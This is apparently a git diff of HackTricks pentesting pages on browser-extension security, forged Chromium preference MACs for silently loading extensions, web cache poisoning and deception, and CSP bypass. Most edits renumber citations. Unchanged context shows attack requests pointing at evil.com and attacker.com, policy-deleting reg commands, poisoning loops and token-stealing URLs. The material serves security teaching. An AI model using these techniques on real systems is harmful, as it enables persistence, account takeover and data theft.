- **Potential Clickjacking Analysis**: Detection of extension HTML pages with the [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) directive set. These are potentially vulnerable to clickjacking depending on the purpose of the pages.
@@ -856,20 +856,24 @@ Project Neto is a Python 3 package conceived to analyse and unravel hidden featu
## References
-- [1] Thanks to [@naivenom](https://twitter.com/naivenom) for the help with this methodology
-- [2] [Introduction to Chrome Browser Extension Security Testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
-- [3] [Anatomy of a basic extension](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
-- [4] [Attack surface of extension pages](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
-- [5] [When extension pages are web-accessible](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
-- [6] [Passbolt PBL-02 security report](https://help.passbolt.com/assets/files/PBL-02-report.pdf)
-- [7] [Content scripts | Chrome Extensions](https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts)
-- [8] [externally_connectable | Chrome Extensions manifest](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)
-- [9] [Background pages (MV2) | Chrome Extensions](https://developer.chrome.com/docs/extensions/mv2/background-pages)
-- [10] [Kicking the Rims - A Guide for Securely Writing and Auditing Chrome Extensions](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/)
-- [11] [How to View Chrome Extension Source Code](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0)
-- [12] [Detecting malicious browser extensions with Assemblyline](https://redcanary.com/blog/threat-detection/assemblyline-browser-extensions/)
-- [13] [ShadowPrompt: How Any Website Could Have Hijacked Anthropic's Claude Chrome Extension](https://www.koi.ai/blog/shadowprompt-how-any-website-could-have-hijacked-anthropic-claude-chrome-extension)
-- [14] [Universal code execution in browser extensions](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)
-- [15] [Opera zero-day RCE vulnerability](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)
+**Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology**
+
+- [1] [Introduction to Chrome Browser Extension Security Testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
+- [2] [Anatomy of a Basic Extension](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
+- [3] [Attack Surface of Extension Pages](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
+- [4] [When Extension Pages Are Web-Accessible](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
+- [5] [Content scripts - Chrome for Developers](https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts)
+- [6] [externally_connectable - Chrome for Developers](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)
+- [7] [Background Pages (Manifest V2) - Chrome for Developers](https://developer.chrome.com/docs/extensions/mv2/background-pages)
+- [8] [Kicking the Rims: A Guide for Securely Writing and Auditing Chrome Extensions](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/)
+- [9] [How to View Source of a Chrome Extension (gist)](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0)
+- [10] [Moving up the Assemblyline: Exposing Malicious Code in Browser Extensions](https://redcanary.com/blog/threat-detection/assemblyline-browser-extensions/)
+- [11] [ShadowPrompt: How Any Website Could Have Hijacked Anthropic's Claude Chrome Extension](https://www.koi.ai/blog/shadowprompt-how-any-website-could-have-hijacked-anthropic-claude-chrome-extension)
+- [12] [An Evaluation of the Google Chrome Extension Security Architecture](http://webblaze.cs.berkeley.edu/papers/Extensions.pdf)
+- [13] [Universal Code Execution in Browser Extensions](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)
+- [14] [Opera Browser Zero-Day RCE Vulnerability on Cross-Platforms](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)
+- [15] Thanks to [@naivenom](https://twitter.com/naivenom) for the help with this methodology
+- [16] [Passbolt PBL-02 security report](https://help.passbolt.com/assets/files/PBL-02-report.pdf)
+- [17] [developer.chrome.com - Concepts - Native Messaging](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md
index 3f6ca59125b..c7feaba9eb0 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md
@@ -52,16 +52,16 @@ Simplified schema (illustrative):
```
Notes:
-- Edge/Brave maintain similar structures. The protection seed value may differ (Edge/Brave were observed to use a null/other seed in some builds).
+- Edge/Brave maintain similar structures. The protection seed value may differ (Edge/Brave were observed to use a null/other seed in some builds).[[1]](#references)
## Extension IDs: path vs key and making them deterministic
-Chromium derives the extension ID as follows:[[1]](#references)
+Chromium derives the extension ID as follows:
- Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
- Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
-To keep a stable ID across hosts, embed a fixed base64 DER public key in manifest.json under "key". The ID will be derived from this key instead of the installation path.
+To keep a stable ID across hosts, embed a fixed base64 DER public key in manifest.json under "key". The ID will be derived from this key instead of the installation path.[[1]](#references)
Helper to generate a deterministic ID and a key pair:
@@ -107,7 +107,7 @@ Add the generated public key into your manifest.json to lock the ID:
Chromium protects preferences with HMAC‑SHA256 over "path" + serialized JSON value of each node. The HMAC seed is embedded in the browser’s resources.pak and was still valid up to Chromium 139.[[1]](#references)[[3]](#references)
-Extract the seed with GRIT pak_util and locate the seed container (file id 146 in tested builds):
+Extract the seed with GRIT pak_util[[2]](#references) and locate the seed container (file id 146 in tested builds):
```bash
python3 pak_util.py extract resources.pak -o resources_v139/
@@ -154,7 +154,7 @@ Browser differences: on Microsoft Edge and Brave the seed may be null/different.
> Implementation tips
> - Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
-> - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.
+> - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.[[1]](#references)
## End‑to‑end silent load flow (Windows)
@@ -162,7 +162,7 @@ Browser differences: on Microsoft Edge and Brave the seed may be null/different.
1) Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
2) Create extensions.settings. by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
3) Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
-4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges
+4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges[[1]](#references)
## Bypassing enterprise controls
@@ -171,14 +171,14 @@ Browser differences: on Microsoft Edge and Brave the seed may be null/different.
1) Install an allowed Web Store extension and note its ID
2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
3) Set that key as manifest.key in your modified extension to reproduce the same ID
- 4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
+ 4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed[[1]](#references)
- Extension stomping (ID collision precedence)
- - If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
+ - If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)[[1]](#references)
- Neutralizing GPO via HKCU (requires admin)
- Chrome/Edge policies live under HKCU\Software\Policies\*
- - With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
+ - With admin rights, delete/modify policy keys before writing your entries to avoid blocks:[[1]](#references)
```powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
@@ -194,7 +194,7 @@ From Chromium ≥137, --load-extension requires also passing:
--disable-features=DisableLoadExtensionCommandLineSwitch
```
-This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier.
+This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier.[[1]](#references)
Related flags and more cross‑platform tricks are discussed here:
@@ -205,7 +205,7 @@ Related flags and more cross‑platform tricks are discussed here:
## Operational impact
-Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception/redirects, cookie/storage access, and screenshot capture—effectively in‑browser code execution and durable user‑profile persistence. Remote deployment over SMB or other channels is straightforward because activation is data‑driven via Preferences.[[1]](#references)
+Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception/redirects, cookie/storage access, and screenshot capture—effectively in‑browser code execution and durable user‑profile persistence. Remote deployment over SMB or other channels is straightforward because activation is data‑driven via Preferences.[[1]](#references)[[4]](#references)
## Detection and hardening
@@ -213,7 +213,7 @@ Once accepted, the extension runs with its declared permissions, enabling DOM ac
- Monitor for non‑Chromium processes writing to Preferences/Secure Preferences, especially new nodes under extensions.settings paired with protection.macs entries
- Alert on unexpected toggling of extensions.ui.developer_mode and on HMAC‑valid but unapproved extension entries
- Audit HKCU/HKLM Software\Policies for tampering; enforce policies via device management/Chrome Browser Cloud Management
-- Prefer forced‑install from the store with verified publishers rather than allowlists that match only on extension ID
+- Prefer forced‑install from the store with verified publishers rather than allowlists that match only on extension ID[[1]](#references)
## References
diff --git a/src/pentesting-web/bypass-payment-process.md b/src/pentesting-web/bypass-payment-process.md
index 024105736a6..be491fd5607 100644
--- a/src/pentesting-web/bypass-payment-process.md
+++ b/src/pentesting-web/bypass-payment-process.md
@@ -39,6 +39,3 @@ If you encounter a parameter that contains a URL, especially one following the p
2. **Modify Responses**: Attempt to modify the responses before they are processed by the browser or the application to simulate a successful transaction scenario.
{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 6796bbd8074..2ddf1bf2099 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -65,7 +65,7 @@ When caching a request, be **careful with the headers you use** because some of
#### HackerOne global redirect via `X-Forwarded-Host`
-- The origin templated redirects and canonical URLs with `X-Forwarded-Host`, but the cache key only used the `Host` header, so a single response poisoned every visitor to `/`.[[14]](#references)
+- The origin templated redirects and canonical URLs with `X-Forwarded-Host`, but the cache key only used the `Host` header, so a single response poisoned every visitor to `/`.
- Poison with:
```http
@@ -74,11 +74,11 @@ Host: hackerone.com
X-Forwarded-Host: evil.com
```
-- Immediately re-request `/` without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues.
+- Immediately re-request `/` without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues.[[15]](#references)
#### GitHub repository DoS via `Content-Type` + `PURGE`
-- Anonymous traffic was keyed only on path, while the backend entered an error state when it saw an unexpected `Content-Type`. That error response was cacheable for every unauthenticated user of a repo.[[14]](#references)
+- Anonymous traffic was keyed only on path, while the backend entered an error state when it saw an unexpected `Content-Type`. That error response was cacheable for every unauthenticated user of a repo.
- GitHub also (accidentally) honored the `PURGE` verb, letting the attacker flush a healthy entry and force caches to pull the poisoned variant on demand:
```bash
@@ -86,11 +86,11 @@ curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
```
-- Always compare authenticated vs anonymous cache keys, fuzz rarely keyed headers such as `Content-Type`, and probe for exposed cache-maintenance verbs to automate re-poisoning.
+- Always compare authenticated vs anonymous cache keys, fuzz rarely keyed headers such as `Content-Type`, and probe for exposed cache-maintenance verbs to automate re-poisoning.[[15]](#references)
#### Shopify cross-host persistence loops
-- Multi-layer caches sometimes require multiple identical hits before committing a new object. Shopify reused the same cache across numerous localized hosts, so persistence meant impact on many properties.[[14]](#references)
+- Multi-layer caches sometimes require multiple identical hits before committing a new object. Shopify reused the same cache across numerous localized hosts, so persistence meant impact on many properties.
- Use short automation loops to repeatedly reseed:
```python
@@ -102,11 +102,11 @@ for i in range(100):
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
```
-- After a `hit` response, crawl other hosts/assets that share the same cache namespace to demonstrate cross-domain blast radius.
+- After a `hit` response, crawl other hosts/assets that share the same cache namespace to demonstrate cross-domain blast radius.[[15]](#references)
#### JS asset redirect → stored XSS chain
-- Private programs often host shared JS such as `/assets/main.js` across dozens of subdomains. If `X-Forwarded-Host` influences redirect logic for those assets but is unkeyed, the cached response becomes a 301 to attacker JS, yielding stored XSS everywhere the asset is imported.[[14]](#references)
+- Private programs often host shared JS such as `/assets/main.js` across dozens of subdomains. If `X-Forwarded-Host` influences redirect logic for those assets but is unkeyed, the cached response becomes a 301 to attacker JS, yielding stored XSS everywhere the asset is imported.
```http
GET /assets/main.js HTTP/1.1
@@ -114,11 +114,11 @@ Host: target.com
X-Forwarded-Host: attacker.com
```
-- Map which hosts reuse the same asset path so you can prove multi-subdomain compromise.
+- Map which hosts reuse the same asset path so you can prove multi-subdomain compromise.[[15]](#references)
#### GitLab static DoS via `X-HTTP-Method-Override`
-- GitLab served static bundles from Google Cloud Storage, which honors `X-HTTP-Method-Override`. Overriding GET to HEAD returned a cacheable `200 OK` with `Content-Length: 0`, and the edge cache ignored the HTTP method when generating the key.[[14]](#references)
+- GitLab served static bundles from Google Cloud Storage, which honors `X-HTTP-Method-Override`. Overriding GET to HEAD returned a cacheable `200 OK` with `Content-Length: 0`, and the edge cache ignored the HTTP method when generating the key.
```http
GET /static/app.js HTTP/1.1
@@ -126,7 +126,7 @@ Host: gitlab.com
X-HTTP-Method-Override: HEAD
```
-- A single request replaced the JS bundle with an empty body for every GET, effectively DoSing the UI. Always test method overrides (`X-HTTP-Method-Override`, `X-Method-Override`, etc.) against static assets and confirm whether the cache varies on method.
+- A single request replaced the JS bundle with an empty body for every GET, effectively DoSing the UI. Always test method overrides (`X-HTTP-Method-Override`, `X-Method-Override`, etc.) against static assets and confirm whether the cache varies on method.[[15]](#references)
#### HackerOne static asset loop via `X-Forwarded-Scheme`
@@ -138,18 +138,18 @@ Host: hackerone.com
X-Forwarded-Scheme: http
```
-- Combine scheme spoofing with host spoofing when possible to craft irreversible redirects for highly visible resources.[[14]](#references)
+- Combine scheme spoofing with host spoofing when possible to craft irreversible redirects for highly visible resources.[[15]](#references)
#### Cloudflare host-header casing mismatch
-- Cloudflare normalized the `Host` header for cache keys but forwarded the raw casing to origins. Sending `Host: TaRgEt.CoM` triggered alternate behavior in origin routing/templating while still populating the canonical lowercase cache bucket.[[14]](#references)
+- Cloudflare normalized the `Host` header for cache keys but forwarded the raw casing to origins. Sending `Host: TaRgEt.CoM` triggered alternate behavior in origin routing/templating while still populating the canonical lowercase cache bucket.
```http
GET / HTTP/1.1
Host: TaRgEt.CoM
```
-- Enumerate CDN tenants by replaying mixed-case hosts (and other normalized headers) and diff the cached response versus the origin response to uncover shared-platform cache poisonings.
+- Enumerate CDN tenants by replaying mixed-case hosts (and other normalized headers) and diff the cached response versus the origin response to uncover shared-platform cache poisonings.[[15]](#references)
#### Red Hat Open Graph meta poisoning
@@ -161,7 +161,7 @@ Host: www.redhat.com
X-Forwarded-Host: a."?>
```
-- Social media scrapers consume cached Open Graph tags, so a single poisoned entry distributes the payload far beyond direct visitors.[[14]](#references)
+- Social media scrapers consume cached Open Graph tags, so a single poisoned entry distributes the payload far beyond direct visitors.[[15]](#references)
## Exploiting Examples
@@ -176,7 +176,7 @@ Host: innocent-website.com
X-Forwarded-Host: a.">"
```
-_Note that this will poison a request to `/en?region=uk` not to `/en`_
+_Note that this will poison a request to `/en?region=uk` not to `/en`_[[1]](#references)
### Cache poisoning to DoS
@@ -187,15 +187,15 @@ cache-poisoning-to-dos.md
### Cache poisoning through CDNs
-In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario:
+In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario:[[4]](#references)
- The CDN will cache anything under `/share/`
- The CDN will NOT decode nor normalize `%2F..%2F`, therfore, it can be used as **path traversal to access other sensitive locations that will be cached** like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
-- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**.[[16]](#references)
+- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**.[[4]](#references)
### Using web cache poisoning to exploit cookie-handling vulnerabilities
-Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.[[2]](#references)
+Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.
```html
GET / HTTP/1.1
@@ -203,7 +203,7 @@ Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
-Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
+Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.[[2]](#references)
### Generating discrepancies with delimiters, normalization and dots
@@ -216,7 +216,7 @@ cache-poisoning-via-url-discrepancies.md
### Cache poisoning with path traversal to steal API key
-[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.[[16]](#references)
+[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.[[4]](#references)
This is also explained better in:
@@ -227,7 +227,7 @@ cache-poisoning-via-url-discrepancies.md
### Using multiple headers to exploit web cache poisoning vulnerabilities
-Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. You can control where the page is pointed by the redirect.
+Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. You can control where the page is pointed by the redirect.[[7]](#references)
```html
GET /resources/js/tracking.js HTTP/1.1
@@ -284,11 +284,11 @@ This real-world pattern chains a header-based reflection primitive with CDN/WAF
- The main HTML reflected an untrusted request header (e.g., `User-Agent`) into executable context.
- The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., `.js`), while the WAF applied weaker content inspection to GETs for static assets.
-- Request flow quirks allowed a request to a `.js` path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.
+- Request flow quirks allowed a request to a `.js` path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.[[8]](#references)
Practical recipe (observed across a popular CDN/WAF):
-1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace.
+1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace.[[9]](#references)
2) In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best):
- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
- Immediately after: GET the main page (`/`).
@@ -308,7 +308,7 @@ Operational tips:
Impact:
-- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.[[7]](#references)
+- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
@@ -322,7 +322,7 @@ Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","…payload…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
-This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.[[9]](#references)
+This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.[[10]](#references)
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
@@ -334,23 +334,23 @@ For full details (cache key construction, ItemService enumeration and a chained
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
-ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query.
+ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query.[[5]](#references)
### 403 and Storage Buckets
-Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.[[4]](#references)
+Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.[[5]](#references)
### Injecting Keyed Parameters
-Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error.[[4]](#references)
+Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error.[[5]](#references)
### User Agent Rules
-Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS.
+Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS.[[5]](#references)
### Illegal Header Fields
-The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error.[[4]](#references)
+The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error.[[5]](#references)
### Finding new headers
@@ -358,9 +358,9 @@ The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the accep
## Cache Deception
-The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
+The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.[[14]](#references)
-First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.[[13]](#references)
+First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
Other things to test:
@@ -369,26 +369,26 @@ Other things to test:
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
-- _Use lesser known extensions such as_ `.avif`
+- _Use lesser known extensions such as_ `.avif`[[6]](#references)
-Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
+Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).[[3]](#references)\
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.[[3]](#references)
-Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.
+Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.[[3]](#references)
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
### CSPT-assisted authenticated cache poisoning (Account Takeover)
-This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.[[10]](#references)
+This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.
High level idea:
- A sensitive API endpoint requires a custom auth header and is correctly marked as non-cacheable by origin.
- Appending a static-looking suffix (for example, .css) makes the CDN treat the path as a static asset and cache the response, often without varying on sensitive headers.
- The SPA contains CSPT: it concatenates a user-controlled path segment into the API URL while attaching the victim’s auth header (for example, X-Auth-Token). By injecting ../.. traversal, the authenticated fetch is redirected to the cacheable path variant (…/v1/token.css), causing the CDN to cache the victim’s token JSON under a public key.
-- Anyone can then GET that same cache key without authentication and retrieve the victim’s token.
+- Anyone can then GET that same cache key without authentication and retrieve the victim’s token.[[11]](#references)[[12]](#references)[[13]](#references)
Example
@@ -464,7 +464,7 @@ Validation checklist
### Authenticated HTML cache entries targeted with query cache busters
-Not every WCD requires path confusion or static extensions. A very common variant is: **authenticated HTML response + shared cacheability + attacker-controlled cache key + user-specific secret in the body**.
+Not every WCD requires path confusion or static extensions. A very common variant is: **authenticated HTML response + shared cacheability + attacker-controlled cache key + user-specific secret in the body**.[[16]](#references)
Typical indicators:
@@ -491,7 +491,7 @@ If the cache keys on the full URL, forcing the victim to visit that exact URL st
### SameSite=Lax delivery constraints in WCD campaigns
-When the victim must seed the cache from an attacker-controlled site, remember that **default `SameSite=Lax` cookies are usually not sent on cross-site subresource requests** such as **``**, **``
+Working payload: `"/>`[[4]](#references)
#### self + 'unsafe-inline' via Iframes
@@ -194,11 +194,11 @@ From here, if you find a XSS and a file upload, and you manage to find a **misin
### Form-action
-If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).[[12]](#references) Also, notice that `default-src` does not cover form actions.
+If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).[[5]](#references) Also, notice that `default-src` does not cover form actions.
#### Credential theft with same-origin `GET` + `Referer` leak
-Even if the page uses a **very strict CSP** such as `default-src 'none'; script-src 'none'; style-src 'none'; img-src 'none'; connect-src 'none'; frame-src 'none'; form-action 'self'`, a **reflected HTML injection** in a login page can still steal saved credentials **without JavaScript**:[[10]](#references)
